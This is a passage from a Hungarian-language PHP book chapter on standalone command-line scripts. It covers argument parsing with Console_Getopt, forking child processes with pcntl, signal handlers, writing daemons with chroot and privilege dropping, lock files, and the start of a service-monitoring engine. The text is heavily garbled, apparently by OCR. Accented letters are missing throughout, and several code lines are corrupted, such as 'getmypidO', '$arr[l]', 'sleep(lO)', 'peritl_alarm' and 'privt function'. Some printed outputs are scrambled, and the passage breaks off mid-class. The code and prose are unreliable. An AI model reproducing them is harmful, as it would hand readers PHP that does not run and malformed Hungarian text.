$counts['user_agent']["$user_agent"]++; # Minden ezredik feldolgozott sor utn kirunk egy ' . ' jelet. if ( ($lineno + + % 1000) == 0) { fwrite(STDERR, "."); } } arsort($counts['ip'] , SORT_NUMERIC) ; reset($counts['ip']); arsort($counts['user_agent'], SORT_NUMERIC); reset($counts['user_agent' ] ) ;

foreach(array('ip', 'user_agent') as $field) { $i = 0; print "Top number of requests by $field\n"; print "------------------------------- \n" ;

foreach($counts[$field] as $k => $v) print "$v\t\t$k\n"; if($i++ == 10) { break;


} }

print "\n\n";
} ?>

A program gy mkdik, hogy beolvassa a STDIN-rl a naplfjlt, minden sort a $regexhez illeszti, hogy kinyerje az egyes mezket, majd sszegzst kszt, megszmolva az egyedi IP cmekre, illetve az egyes bngszkre es krelmek szmt. Mivel a kombinlt formtum naplfjlok nagymretek, ezer soronknt egy pontot kldnk a stderr-re, hogy jelezzk, hol tart a feldolgozs. Ha a program kimenett egy fjlba irnytjuk, a jelents oda rdik, a pontok viszont a felhasznl kpernyjn jelennek meg.

A parancssori argumentumok feldolgozsa


Ha egy PHP programot a parancssorban futtatunk, nyilvnvalan nem adhatunk t argumentumokat a $_GET s $_POST vltozkon keresztl (a CLI nem ismeri ezeket a webprotokollokat). A parancssorban tadott argumentumokat ezrt egy j autogloblis vltozban, az $argv tmbben tallhatjuk majd meg. Vegyk a kvetkez programot:
#!/usr/bin/env php <?php print_r($argv); ?>

5. fejezet Megvalsts PHP nyelven: nll programok

133

Tegyk fel, hogy gy futtatjuk: > ./dump_argv.php foo bar barbra Ekkor ezt a kimenetet kapjuk: Array ( [0] [1] [2] [3] ) szrevehetjk, hogy az $argv [ 0 ] a fut program neve. A belltsok (kapcsolk) kzvetlenl az $argv vltozbl val beolvassa nem tl knyelmes, mert megkveteli, hogy azokat egy adott sorrendbe tegyk. A kzi feldolgozsnl hatkonyabb megoldst nyjthat a PEAR Console_Getopt csomagja, amely egyszer felletet biztost a parancssori kapcsolk knnyebben kezelhet tmbb alaktsra. Az egyszer feldolgozs mellett a Console_Getopt mind a rvid, mind a hossz kapcsolkat kezeli, s alapszint ellenrzseket is vgez, hogy a belltsokat biztosan a megfelel formban kapjuk meg. A Console_Getopt gy mkdik, hogy formz karakterlncokat kap a vrt argumentumokhoz. Ktfle kapcsolt adhatunk t neki: hossz s rvid kapcsolkat. A rvid kapcsolk egy betbl s az esetleges adatokbl llnak. A rvid kapcsolk formtumlerja egy, a megengedett elemekbl ll karakterlnc. A kapcsol betjt egy kettspont kvetheti, amellyel azt jelezzk, hogy a kapcsol paramtert ignyel, illetve kt kettspont, ami arra utal, hogy a paramter nem ktelez. A hossz kapcsolk teljes szavak tmbjbl llnak (pldul --help). Ha utnuk egyenlsgjel ll, azzal azt jelezzk, hogy a kapcsol paramtert vr, ha pedig kt egyenlsgjel, a paramter nem ktelez. Ha azt szeretnnk, hogy egy program paramterek nlkl elfogadja a -h s a --help kapcsolkat, mg a --fil kapcsolt egy ktelez paramterrel, az albbi kdot kell rnunk: require_once "Console/Getopt.php"; $shortoptions = "h"; $longoptons = array("file=", "help"); = > dump_argv.php => foo => bar => barbra

134

PHP fejleszts felsfokon

$con = new Console_Getopt; $args = Console_Getopt::readPHPArgv(); $ret = $con->getopt($args, $shortoptions,

$longoptions);

A getopt () visszatrsi rtke egy tmb, ami egy ktdimenzis tmbt tartalmaz. Az els bels tmbben tallhatk a rvid kapcsol argumentumok, mg a msodikban a hossz kapcsolk. A Console_Getopt: : readPHPARGV () segtsgvel az $argv vltozt is bevonhatjuk (ha pldul a php. ini llomnyban a register_argc_argv rtke of f). n a getopt () szokvnyos kimenett nmileg zavarosnak tallom. Jobban szeretem, ha a kapcsolk egyetlen, kulcs-rtk prokbl ll trstsos tmbknt jelennek meg, amelyben a kapcsol neve a kulcs, rtke pedig a tmbrtk. Az albbi kdblokk ezt a hatst a Console_Getopt hasznlatval ri el: function getOptions($default_opt, $shortoptions, $longoptions)
{

require_once "Console/Getopt.php"; $con = new Console_Getopt; $args = Console_Getopt::readPHPArgv(); $ret = $con->getopt($args, $shortoptions, $opts = array();

$longoptions);

foreach($ret[0] as $arr) { $rhs = ($arr[l] !== null)?$arr[1]:triit (array _key_exists ($arr [0] , $opts)) { if(is_array($opts[$arr[0]])) { $opts[$arr[0]][] = $rhs; } else { $opts[$arr[0]] = array($opts[$arr[0]], $rhs); } } else { $opts[$arr[0]] = $rhs; } } if(is_array($default_opt)) { foreach ($default_opt as $k => $v) { if(!array_key_exists($k, $opts)) { $opts[$k] = $v; } } } return $opts; }

5. fejezet Megvalsts PHP nyelven: nll programok

135

Ha egy kapcsolt tbbszr adunk t, a hozz tartoz rtk az sszes belltott rtk tmbje lesz, ha pedig paramter nlkl, a true logikai rtket kapja. A fggvny alaprtelmezett paramterlistt is elfogad, amelyre akkor tmaszkodik, ha nem adunk t mst. A fggvny hasznlatval az elz pldt (help) gy rhatjuk t: $shortoptions = "h"; $longoptions = array("file=", $ret = getOptions(null,

" h el p " ) ; $longoptions);

$shortoptions,

Ha ezt a -h --f ile=error. log paramterekkel futtatjuk, a $ret tmb szerkezete a kvetkez lesz: Array ( [h] => 1 [ -- fi l ] => error.log )

Gyermekfolyamatok ltrehozsa s kezelse


A PHP nem tartalmaz natv tmogatst a szlakhoz, gy a Javhoz hasonl szlkzpont nyelvek fell rkez fejlesztknek nehz olyan programokat rniuk, amelyek egyszerre tbb feladatot vgeznek el. Szerencsre nincs minden veszve: a PHP azzal tmogatja a hagyomnyos Unix-tbb feladatossgot (multi tasking), hogy lehetv teszi a folyamatoknak, hogy a pcntl_f ork () -on keresztl (ami a f ork () Unix rendszerhvst burkolja be) gyermekfolyamatokat indtsanak. A szolgltats (s minden pcntl_* fggvny) engedlyezshez a PHP-t az --enable-pcntl kapcsolval kell felptennk. Amikor a pcntl_f ork () -ot meghvjuk egy programban, j folyamat jn ltre, s a hvs helytl folytatja a program vgrehajtst. Az eredeti folyamat ugyanonnan szintn folytatja a vgrehajtst. Ez azt jelenti, hogy a programbl kt fut pldnyunk lesz: a szliaz eredeti folyamat) s a gyermek (az jonnan ltrehozott folyamat). A pcntl_f ork () tnyleg ktszer tr vissza - egyszer a szlben, egyszer a gyermekben. A szlben a visszatrsi rtk az jonnan ltrehozott gyermek folyamatazonostja (process ID, PID), a gyermekben pedig 0. Ennek alapjn klnbztethetjk meg a szlt a gyermektl.

136

PHP fejleszts felsfokon

Az albbi egyszer program egy gyermekfolyamatot hoz ltre:


#!/usr/bin/env php <?php if($pid = pcntl_fork()) { $my_pid = getmypid() ; print "My pid is $my_pid. pcntl_fork() return $pid, this is the parent\n"; } else { $my_pid = getmypidO; print "My pid is $my_pid. pcntl_fork() returned 0, this is the child\n"; } ?>

A program futtatsa a kvetkez kimenetet eredmnyezi: > . / 4.php My pid is 4286. pcntl_fork() return 42 87 , this is the parent My pid is 4287. pcntl_fork() returned 0, this is the child szrevehetjk, hogy a pcntl_f ork () visszatrsi rtke valban a gyermekfolyamat PID-je. Ezenkvl, ha a programot tbbszr futtatjuk, megfigyelhetjk, hogy nha a szl, nha a gyermek r elszr a kpernyre. Mivel klnll folyamatokrl van sz, akkor kapnak processzoridt, amikor az opercis rendszer megfelelnek tallja, nem pedig a szl-gyermek kapcsolat alapjn. A megosztott erforrsok bezrsa Ha Unix krnyezetben legaztatunk (fork) egy folyamatot, mind a szl-, mind a gyermekfolyamat hozzfr minden fjlerforrshoz, ami a fork () meghvsakor nyitva van. Ez knyelmes mdszernek tnhet az erforrsok folyamatok kztti megosztsra, de ltalban nem ez, amire szksgnk van. Mivel nincsenek vezrlsi szerkezetek, amelyek megakadlyoznk az erforrsok egyidej elrst, az eredmnyknt elll bemenet s kimenet sszekeveredhet. Fjlbemenet s -kimenet esetn ez tbbnyire a sorok sszekeveredst okozza, bonyolult csatol- (socket) I/O-nl - pldul adatbzis-kapcsolatoknl - viszont egyszeren a folyamat sszeomlsval jr. Mivel az emltett hiba csak az erforrsok elrsnl jelentkezik, a vdelemhez elegend, ha szigoran szablyozzuk, hol s mikor frhetnk hozzjuk. Mindazonltal biztonsgosabb s tisztbb egyszeren bezrni minden olyan erforrst, amit kzvetlenl a legaztats utn nem hasznlunk.

5. fejezet Megvalsts PHP nyelven: nll programok

137

Vltozk megosztsa
Ne feledjk: a legaztatott folyamatok nem szlak. A pcntl_f ork () -kai ltrehozott folyamatok nll folyamatok, gy a legaztats utn az egyik folyamatban vgrehajtott vltozmdostsok nem tkrzdnek a tbbi folyamatban. Ha vltozkat szeretnnk megosztani folyamatok kztt, trolsukra a megosztott memria bvtmnyeket vagy a 2. fejezetben bemutatott tie" trkkt hasznlhatjuk.

Takarts a gyermekek utn


Unix krnyezetben a hasznlaton kvli vagy elhalt folyamatok olyan folyamatok, amelyek befejeztk futsukat, de llapotukrl a szlfolyamat nem rteslt. (Ezt hvjk a gyermekfolyamat betakartsnak (reaping).) Egy felelssgteljes szlfolyamat mindig betakartja a gyermekeit. A PHP ktfle mdszert ad a kilp gyermekek kezelsre: pcntl_wait($status, $options) - A pcntl_wait () a hv folyamatot arra utastja, hogy fggessze fel futst, amg minden gyermekfolyamat be nem fejezdik. A visszatrsi rtk a kilp gyermekfolyamat PID-je, a $ status pedig a fggvny visszatrsi llapota lesz. a pcntl_wait () -hez, de csak a $pid ltal meghatrozott folyamatra vr. A $status ugyanazt az informcit tartalmazza, mint az elz fggvny esetben. Mindkt fggvny $options vltozja egy nem ktelez bitmez, amelyben az albbi kt paramter egyike lehet: WNOHANG - Nem vrunk, ha a folyamatinformci nem azonnal elrhet. WUNTRACED Informcit adunk vissza azokrl a gyermekekrl, amelyek SIGTTIN, SIGTTOU, SIGSTP vagy SIGSTOP jelzs kvetkeztben lltak le. (Ezeket a jelzseket a waitpid () normlis esetben nem fogja el.) me egy folyamat, amely megadott szm gyermekfolyamatot indt, majd befejezdskre vr: # !/usr/bin/env php <?php def ine('PROCESS_COUNT', '5'); $children = array(); f o r ( $ i = 0; $i < PROCESS_COUNT; i f ( ( $ p i d = pcntl_fork()) == 0) { exit(child_main());
}

pcntl_waitpid($pid, $status, $options) - Apcntl_waitpid() hasonl

$i ++)

138

PHP fejleszts felsfokon

else { $children[] = $pid; } } foreach($children as $pid) { $pid = pcntl_wait($status); f(pcntl_wifexited($status)) { $code = pcntl_wexitstatus ($status) ,print "pid $pid returned exit code: $code\n"; } else { print "$pid was unnaturally terminated\n"; } } function child_main() { $my__pid = getmypid () ;

print "Starting child pid: $my_pid\n"; sleep(10) ; return 1; ^


?>

A pldval kapcsolatban megjegyzend, hogy a gyermekfolyamat ltal futtatand kd teljes egszben a child_main () fggvnyben tallhat. Itt csak a sleep (10) utastst hajtjuk vgre, de ezt sszetettebb kdra is cserlhetjk. Emellett ha egy gyermekfolyamat befejezdik, s a pcntl_wait () hvs visszatr, az llapotot a pcntl_wif exited () fggvnnyel ellenrizhetjk, hogy tudjuk, a gyermek azrt lpett ki, mert meghvta az exit () fggvnyt, vagy nem termszetes hallt halt. Ha az elbbi trtnt, az exit ()-nek tadott kdot a pcntl_wexitstatus ($status) hvssal nyerhetjk ki. A kilpsi llapotkdok 8 bites eljeles szmok, gy az rvnyes rtkek -127 s 127 kztt vannak. me a program kimenete, ha futsa nem szakad meg: > . / 5.php
Starting Starting Starting Starting Starting pid 4453 pid 4452 pid 4451 pid 4454 pid 4455 child pid 4451 child pid 4452 child pid 4453 child pid 4454 child pid 4455 returned exit code: returned exit code: returned exit code: returned exit code: returned exit code:

1 1 1 1 1

5. fejezet Megvalsts PHP nyelven: nll programok

139

Ha ahelyett, hogy hagynnk a programot normlisan befejezdni, sajt kezleg megljk" egyik gyermekt, ilyen kimenetet kapunk:
> . / 5 .php Starting child pid 4459 Starting child pid 4460 Starting child pid 4461 Starting child pid 4462 Starting child pid 4463 4462 was unnaturally terminated pid 4463 returned exit code: 1 pid 4461 returned exit code: 1 pid 4460 returned exit code: 1 pid 4459 returned exit code: 1

Jelzsek
A jelzsek (signal) egyszer utastsokat kldenek a folyamatoknak. Amikor a ki 11 hjparanccsal lelltunk egy folyamatot a rendszeren, valjban egy megszaktsi jelzst kldnk (SIGINT). A legtbb jelzsnek van alaprtelmezett viselkedse (a SlGINT- pldul a folyamat befejezse), de pr kivteltl eltekintve a jelzsek elfoghatok s egy folyamaton bell egyni mdon kezelhetk. Az albbi listban a leggyakoribb jelzseket soroltuk fel (a teljes lista a signal(3) sgoldalon tallhat):

Sajt jelzskezelt gy jegyeztethetnk be, hogy egyszeren meghatrozunk egy fggvnyt, valahogy gy: function sig_usrl($signal)
{

print "SIGUSR1 Caught.Xn";


}

140

PHP fejleszts felsfokon

Ezutn a bejegyzs gy trtnik: declare(ticks=l);


pcntl_signal(SIGUSR1, "sig_usrl");

Mivel a jelzsek folyamatszinten rkeznek, nem pedig magn a PHP virtulis gpn bell, a motort utastani kell arra, hogy figyelje ket s futtassa a pcntl visszahvhat fggvnyeket. Ehhez be kell lltanunk a ticks vgrehajtsi utastst (direktvt). A ticks arra utastja a motort, hogy minden N utasts utn futtasson bizonyos visszahvhat fggvnyeket. A jelzsvisszahvs lnyegben res utasts, gy a declare (ticks = l) azt mondja a motornak, hogy minden vgrehajtott utasts utn jelzst kell keresnie. Az albbiakban a tbbfolyamatos programok kt leghasznosabb jelzskezeljt (SIGCHLD s SIGALRM) rjuk le, illetve ms szokvnyos jelzseket.
SIGCHLD

A SIGCHLD szokvnyos jelzskezel, amit olyan alkalmazsokban lltunk be, ahol tbb gyermeket indtunk. Az elz rsz pldiban a szlnek jra s jra meg kellett hvnia a pcntl_wait () s pcntl_waitpid () fggvnyeket, hogy valamennyi gyermek begyjtsrl gondoskodhasson. A jelzsek rvn a gyermekfolyamatok befejezdsnek esemnyrl rtesthetjk a szlfolyamatot, hogy tudja, gyermekeket kell begyjtenie. A szlfolyamat gy sajt logikt hajthat vgre, nem kell, hogy csak vrakozzon a gyermekek begyjtsre. Elszr meg kell hatroznunk egy visszahvhat fggvnyt a SIGCHLD esemnyek kezelsre, me egy egyszer plda, amelyben eltvoltjuk a PID-et a globlis $children tmbbl, illetve kirunk nmi informcit arrl, mit is csinlunk: function sig_child($signal)
{

global $children; pcntl_signal(SIGCHLD, "sig_child"); fput s(STDERR, "Caught SIGCHLD\n") ; while(($pid = pcntl_wait($status, WNOHANG)) > 0) $children = array_diff($children, array($pid)); fputs(STDERR, "Collected pid $ p i d \ n " ) ;
} }

A SIGCHLD jelzs semmilyen informcit nem szolgltat arrl, hogy melyik gyermekfolyamat fejezdtt be, ezrt meg kell hvnunk a pcntl_wait () -et, hogy megkeressk. Mivel a jelzskezel hvsa kzben tbb folyamat is befejezdhet, a pcntl_wait () h-

5. fejezet Megvalsts PHP nyelven: nll programok

141

vasnak addig kell ismtldnie, amg nem marad fut folyamat, hogy biztosak lehessnk benne, hogy mindet begyjtttk. A WNOHANG kapcsolt hasznljuk, ezrt a hvs nem akad el a szlfolyamatban. A legtbb modern jelzsszolgltats visszalltja a jelzskezelt a hvsa utn, de hogy rgebbi rendszereken is mkdjn, sajt kezleg is mindig vissza kell lltanunk a hvson bell. Ha a SIGCHLD kezelt az elz pldhoz adjuk, a kd gy fog festeni:
#!/usr/bin/env php <?php declare(ticks=l); pcntl_signal(SIGCHLD, "sig_child"); define( 'PROCESS_COUNT', ' 5 ' ) ; $children = array(); for($i = 0; $i < PROCESS_COUNT; $i++) { if(($pid = pcntl_fork()) == 0) { exit(child_main()); } else { $children[] = $pid; } } while($children) { sleep(lO); // vagy valamilyen szlkd vgrehajtsa } peritl_alarm(0) ; function child_main() { sleep(rand(0, 10)); return 1; }

// vagy valamilyen gyermekkd vgrehajtsa

function sig_child($signal)
{

global $children; pcntl_signal(SIGCHLD, "sig_child"); fputs(STDERR, "Caught SIGCHLD\n"); while( ( $ p i d = pcntl_wait($status, WNOHANG)) > 0) $children = array_diff($children, array($pid)); if (!pcntl_wifexited($status)) { fputs(STDERR, "Collected killed pid $ p i d \ n " ) ;
}

142

PHP fejleszts felsfokon

else { fputs(STDERR,
} } } ?>

"Collected exited pid $ pi d \n " );

Ha a fenti kdot futtatjuk, az albbi kimenetet kapjuk:


> ./8.php Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited Caught SIGCHLD Collected exited

pid 5000 pid 5003 pid 5001 pid 5002 pid 5004

SIGALRM

Egy msik hasznos jelzs a SIGALRM, a riaszt jelzs. A riasztsok (alarm) lehetv teszik, hogy kihtrljunk egy feladatbl, ha annak vgrehajtsa tl sokig tartana. Riaszts hasznlathoz meg kell hatroznunk egy jelzskezelt, be kell jegyeztetnnk, majd a pcntl_alarm() hvsval be kell lltanunk az idztst. Amikor a megadott id lejr, a folyamathoz SIGALRM jelzs rkezik. me egy jelzskezel, ami vgigfut a $children-ben maradt PID-eken, s (a Unix kill hjparancsval egyenrtk) SIGINT jelzst kld nekik: function sig_alarm($signal)
{

global $children; fputs(STDERR, "Caught SIGALRM\n"); foreach ($children as $pid) { posix_kill($pid, SIGINT);
} }

Figyeljk meg a posix_kill () hasznlatt. Ez a fggvny a megadott jelzst kldi az adott folyamatnak.

5. fejezet Megvalsts PHP nyelven: nll programok

143

A SIGCHLD-kezel mellett a sig_alarm() SIGALRM-kezelt is be kell jegyeztetnnk, s a kvetkezkppen kell mdostanunk a fblokkot: declare(ticks=l); pcntl_signal(SIGCHLD, "sig_child"); pcntl_signal(SIGALRM, "sig_alarm"); define('PROCESS_COUNT', '5'); $children = array(); pcntl_alarm(5); for($i =0; $i < PROCESS_COUNT; $i++) { if(($pid = pcntl_fork()) == 0) ( exit (child__main () ) ; } else { $children[] = $pid;
} }

while($children) sleep(lO);
}

{ // vagy valamilyen szlkd vgrehajtsa

pcntl_alarm(0); Fontos, hogy ne felejtsk el a riasztsi idztt 0-ra lltani, amikor mr nincs r szksg, mskpp akkor is el fog indulni, amikor nem szmtunk r. A programot az emltett mdostsokkal futtatva az albbi kimenetet kapjuk: > . /9.php Caught SIGCHLD Collected exited pid 5011 Caught SIGCHLD Collected exited pid 5013 Caught SIGALRM Caught SIGCHLD Collected killed pid 5014 Collected killed pid 5012 Collected killed pid 5010 Ebben a pldban a szlfolyamat a riasztst arra hasznlja, hogy (a folyamatokat befejezve) eltakartson minden gyermekfolyamatot, amelyek tl sok idt vesznek ignybe.

144

PHP fejleszts felsfokon Egyb szokvnyos jelzsek Az emltetteken kvl ms jelzsekhez is szksg lehet kezelkre; ilyen szokvnyos kezelk a SIGHUP, a SIGUSR1 s a SIGUSR2. Ha egy folyamathoz e jelzsek brmelyike rkezik, az alaprtelmezett viselkeds a folyamat befejezse. A SIGHUP kldsre akkor kerl sor, ha a terminllal megszakad a kapcsolat (amikor a hj kilp). A hj httrben fut folyamatai jellemzen akkor fejezdnek be, amikor az adott terminl munkamenetbl kijelentkeznk. Ha egyszeren figyelmen kvl hagynnk ezeket a jelzseket, az albbi kddal utasthatjuk erre a programot:
pcntl_signal(SIGHUP, SIGIGN);

Az emltett hrom jelzs figyelmen kvl hagysnl gyakoribb, hogy egyszer parancsok kldsre hasznljuk ket, pldul hogy a folyamat jraolvasson egy belltfjlt, jbl megnyisson egy naplfjlt vagy valamilyen llapotinformcit rjon ki.

Dmonok rsa
A dmonok olyan folyamatok, amelyek a httrben futnak, ami azt jelenti, hogy ha egyszer elindultak, nem fogadnak bemenetet a felhasznl terminljrl, s nem lpnek ki, amikor a felhasznl munkamenete befejezdik. Elindtsuk utn a dmonok hagyomnyosan rkk" futnak (amg le nem lltjk ket), hogy rendszeresen ismtld feladatokat hajtsanak vgre, vagy olyan feladatokat, amelyek nem rnek vget a felhasznl munkamenetvel. Az Apache webkiszolgl, a sendmail, illetve a crond szokvnyos dmonok, amelyek valsznleg az olvas gpn is futnak. A parancsllomnyokbl dmonokat kszteni akkor clszer, ha hossz vagy a httrben ismtld feladatokat kell elvgeznnk. Ahhoz, hogy sikeresen dmont kszthessnk belle, egy folyamatnak az albbi kt feladatot kell vgrehajtania: Folyamatelvlaszts Folyamatfggetlents Egy jl megrt dmon emellett a kvetkezket is vgrehajthatja: Munkaknyvtr belltsa Kivltsgok megszntetse A kizrlagossg biztostsa

5. fejezet Megvalsts PHP nyelven: nll programok

145

A folyamatelvlasztsrl mr ejtettnk szt a fejezetben, amikor a gyermekfolyamatok ltrehozsrl s kezelsrl beszltnk. A folyamatok dmonn ttele hasonlan trtnik, de a szlfolyamatot bezrjuk, hogy az egyetlen fut folyamat elvljon tle. Ehhez vgre kell hajtanunk a pcntl_f ork () -ot, s kilpni, ha a szlfolyamatban vagyunk (vagyis ha a visszatrsi rtk nullnl nagyobb). A Unix rendszereken a folyamatok folyamatcsoportokat alkotnak, ezrt a csoport vezetjnek" kilvsvel minden hozz tartoz folyamat is befejezdik. Mindennek, amit egy adott hjon bell indtunk, a hjfolyamat a szlje, ezrt lehetsges, hogy ltrehozunk egy j folyamatot a f ork () -kai s semmi mst nem csinlunk, de a folyamat mgis vget r, amikor a hjt bezrjuk. Ahhoz, hogy ezt elkerljk, a legaztatott folyamatnak fggetlentenie kell magt a szljtl. Ezt a pcntl_setsid () meghvsval rhetjk el, ami a hv folyamatot sajt folyamatcsoportjnak vezetjv teszi. Vgl, ahhoz, hogy elvghassunk minden ktelket a szl s a gyermek kztt, a folyamatot mg egyszer le kell gaztatnunk; ezzel vlik az elvlaszts teljess. Kdban mindez gy fest: r-

if(pcntl_fork()) exit ;
}

pcntl_setsid(); if(pcntl_fork()) exit ;


}

# a folyamat most mr dmon Fontos, hogy a szl a pcntl_f ork () mindkt hvsa utn kilpjen, mskpp tbb folyamat fogja vgrehajtani ugyanazt a kdot.

A munkaknyvtr megvltoztatsa
Amikor dmont runk, ltalban tancsos belltatni vele a munkaknyvtrt. gy ha brmilyen fjlbl relatv elrsi ton keresztl olvasunk, vagy gy runk bele, az llomnyt ott talljuk, ahol szmtunk r. Az elrsi t minstse nmagban is mindig j tlet, ahogy a vdekez kdols is. A munkaknyvtr megvltoztatsnak legbiztonsgosabb mdja, ha nem csak a chdir (), hanem a chroot () utastst is hasznljuk. A chroot () a PHP CLI s CGI vltozatain bell is elrhet; a programot rendszergazdaknt (root) kell futtatnunk. A chroot () a folyamat gykrknyvtrt a megadott knyvtrra vltoztatja, gy lehetetlenn vlik olyan fjlok vgrehajtsa, amelyek nem ebben a knyvtrban tallhatk. A programot biztonsgi eszkzknt gyakran hasznljk a kiszolglk, hogy megakadlyozzk, hogy valamilyen rosszindulat kd fjlokat mdostson a megadott knyvtron kvl. Mindazonltal szben kell tartanunk, hogy br a chroot ()

146

PHP fejleszts felsfokon

megakadlyozza az j gykrknyvtron kvli llomnyok elrst, a mr megnyitott fjlerforrsok tovbbra is hozzfrhetk maradnak. Az albbi kd pldul megnyit egy naplfjlt, majd a chroot () meghvsval egy adatknyvtrra vlt, mgis kpes sikeresen a megnyitott fjlba rni:
<?php $logfile = fopen("/var/log/chroot.log", "w"); chroot("/Users/george"); fputs($logfile, "Hello From Inside The Chroot\n"); ?>

Ha a chroot () hasznlata nem elfogadhat egy alkalmazs szmra, a munkaknyvtrat a chdir () meghvsval llthatjuk be. Ez akkor lehet hasznos, ha a programnak olyan kdot kell betltenie, ami a rendszeren bell brhol lehet. A chdir () nem akadlyozza meg a nem engedlyezett llomnyok megnyitst, csupn egyfajta jelkpes vdelmet nyjt a hanyag kdok ellen. A kivltsgok feladsa A Unix dmonok rsakor szoksos biztonsgi intzkeds, hogy megszntetnk minden felesleges kivltsgot. A szksgtelen jogosultsgok birtoklsa ugyanolyan biztonsgi kockzatot jelent, mintha hozzfrnnk az adott terleten kvl es llomnyokhoz. Ha a kdnak (vagy magnak a PHP-nek) van valamilyen kiaknzhat gyengesge, a veszlyt azzal cskkenthetjk a lehet legkisebbre, ha a dmont azon felhasznl nevben futtatjuk, akinek a legkevesebb jogosultsga van fjlok mdostsra a rendszeren. Ennek egyik mdja, ha egyszeren kivltsg nlkli felhasznlknt futtatjuk a dmont. Ez azonban nem megfelel, ha a programnak indulskor olyan erforrsokat (naplfjlokat, adatfjlokat, csatolkat stb.) kell megnyitnia, amelyek a kivltsg nlkli felhasznl szmra nem hozzfrhetk. Ha rendszergazdaknt tevkenykednk, a kivltsgokat a posix_setuid () s posix_setgid () fggvnyekkel adhatjuk fel. Az albbi pldban a fut program kivltsgait a nobody nev felhasznl jogosultsgaira vltoztatjuk: $pw= posix_getpwnam('nobody'); posix_setuid($pw[' u i d ' ]); posix_setgid($pw['gid' ] ) ; A chroot () -hoz hasonlan a kivltsgok megszntetse eltt megnyitott erforrsok itt is nyitva maradnak, de jak nem hozhatk ltre.

5. fejezet Megvalsts PHP nyelven; nll programok

147

A kizrlagossg biztostsa
Gyakran lehet szksg arra, hogy egy programnak egyszerre csak egyetlen pldnya futhasson. Dmon ksztsekor ez klnsen fontos, mert a httrben futs miatt knny vletlenl tbb pldnyt meghvni. A kizrlagossg biztostsnak szabvnyos mdja egy fjl (ltalban egy kizrlag erre a clra hasznlt zrolfjl) zrolsa az f lock () fggvnnyel. Ha a zrols nem sikerl, a programnak hibazenettel ki kell lpnie. me egy plda: $fp = fopen("/tmp/.lockfile", " a " ) ; i f ( ! $ f p II !flock($fp, LOCK_EX | LOCK_NB)) {
fputs(STDERR, "Failed to acquire lock\n"); exit ; } /* A zrols sikerlt, biztonsgosan dolgozhatunk. */

A zrolsrl rszletesebben a 10. fejezetben ejtnk szt.

A tanultak sszefoglalsa: figyelszolglat


Ebben a rszben sszefoglaljuk a fejezetben eddig tanultakat, s egy alapszint figyelmotort runk PHP nyelven. Mivel nem tudhatjuk, milyen szolgltatsokra lehet ksbb mg szksgnk, igyeksznk olyan rugalmass tenni, amennyire csak lehet. A naplznak tmogatnia kell tetszleges szolgltatsok (pldul a HTTP vagy az FTP) figyelst, s kpesnek kell lennie arra, hogy az esemnyeket tetszleges mdon (elektronikus levlbe rva, naplfjlba rgztve stb.) naplzza. Termszetesen dmonknt szeretnnk futtatni, ezrt tudnunk kell lekrdezni az aktulis llapott. A szolgltatsnak a kvetkez elvont osztlyt kell megvalstania: abstract class ServiceCheck { const FAILURE = 0; const SUCCESS = 1; protected protected protected protected protected protected protected protected protected protected $timeout = 30; $next_attempt; $current_status = ServiceCheck::SUCCESS; $previous_status = ServiceCheck::SUCCESS; $frequency = 30; $description; $consecutive_failures a 0; $status_time; $failure_time; $loggers = array();

148

PHP fejleszts felsfokon

abstract public function _ construct($params); public function __call($name, $args) { if (isset($this->$name)) { return $this->$name; } } public function set_next_attempt() { $this->next_attempt = time() + $this->frequency; } publi abstract function run();

public function post_run($status) { if($status !== $this->current_status) { $this->previous_status = $this->current_status; } if($status === self::FAILURE) { if( $this->current_status === self::FAILURE ) { $this->consecutive_failures++; } else { $this->failure_time = time(); } } else { $this->consecutive_failures = 0; } $this->status_time = time(); $this->current_status = $status; $this->log_service_event(); } public function log_current_status() { foreach($this->loggers as $logger) { $logger->log_current_status($this); } } privt function log_service_event() { foreach($this->loggers as $logger) { $logger->log_service_event($this); } }

5. fejezet Megvalsts PHP nyelven: nll programok public function register_logger(ServiceLogger $logger)
{

149

$this->loggers[ ] = $logger;
} }

A__ call () tagfggvny kizrlag olvassra biztost hozzfrst a ServiceCheck objektumok paramtereihez, amelyek a kvetkezk: timeout - Mennyi ideig vrakozhat a figyel, mieltt a motor lelltan. next_attempt - Mikor kell jra megprblni az adott kiszolglhoz val kapcsoldst. current_status - A szolgltats aktulis llapota (SUCCESS vagy FAILURE). previous_status - Az aktulis eltti llapot. f requency - Milyen gyakran kell ellenrizni a szolgltats jelenltt. description A szolgltats lersa. consecutive f ailures - Egyms utn hny sikertelen keress trtnt az utols sikeres prblkozs ta. status_time - A szolgltats utols ellenrzsnek idpontja. failure_time Ha az llapot FAILURE, a sikertelen ksrlet ideje. Az osztly a megfigyel mintt is megvalstja, ezzel megengedi a ServiceLogger tpus objektumoknak, hogy bejegyezzk magukat, gy brhol meghvhatok, ahol log_current_status () vagy log_service_event () hvs trtnik. A legfontosabb megvalstand fggvny a run (), amely meghatrozza, hogyan kell futtatni a figyelt. Ha a szolgltatskeress sikerrel jr, SUCCESS-t, ha nem, FAILURE-t ad vissza. A post_run () tagfggvny meghvsra azutn kerl sor, hogy a run () -ban meghatrozott szolgltatsfigyel visszatrt. Feladata az objektum llapotnak belltsa, illetve a naplzs. A ServiceLogger fellet szerint egy naplz osztlynak csak kt tagfggvnyt kell megvalstania - log_service_event () s log_current_status () -, amelyek akkor hvdnak meg, amikor a run () figyelje visszatr, illetve ltalnos llapotkrs rkezik. A fellet gy nz ki:
interface ServiceLogger { public function log_service_event(ServiceCheck $service); public function log_current_status(ServiceCheck $service); }

150

PHP fejleszts felsfokon

Vgl meg kell rnunk magt a motort. Az alaptlet hasonl, mint a fejezet Dmonok rsa cm rszben szerepl egyszer programoknl: a kiszolgl j folyamatot gaztat le az egyes ellenrzsek vgrehajtsra, s egy SIGCHLD kezelvel ellenrzi azok visszatrsi rtkt. Az egyszerre vgrehajthat ellenrzsek szma bellthat kell legyen, hogy megakadlyozzuk a rendszer erforrsainak kimertst. Minden szolgltatst s naplzst egy XML fjlban hatrozunk meg. A kvetkez kd a ServiceCheckRunner osztly, amely meghatrozza a motort: class ServiceCheckRunner { privt $num_children; privt $services = array(); privt $children = array(); public function ______construct($conf, $num_children)
{

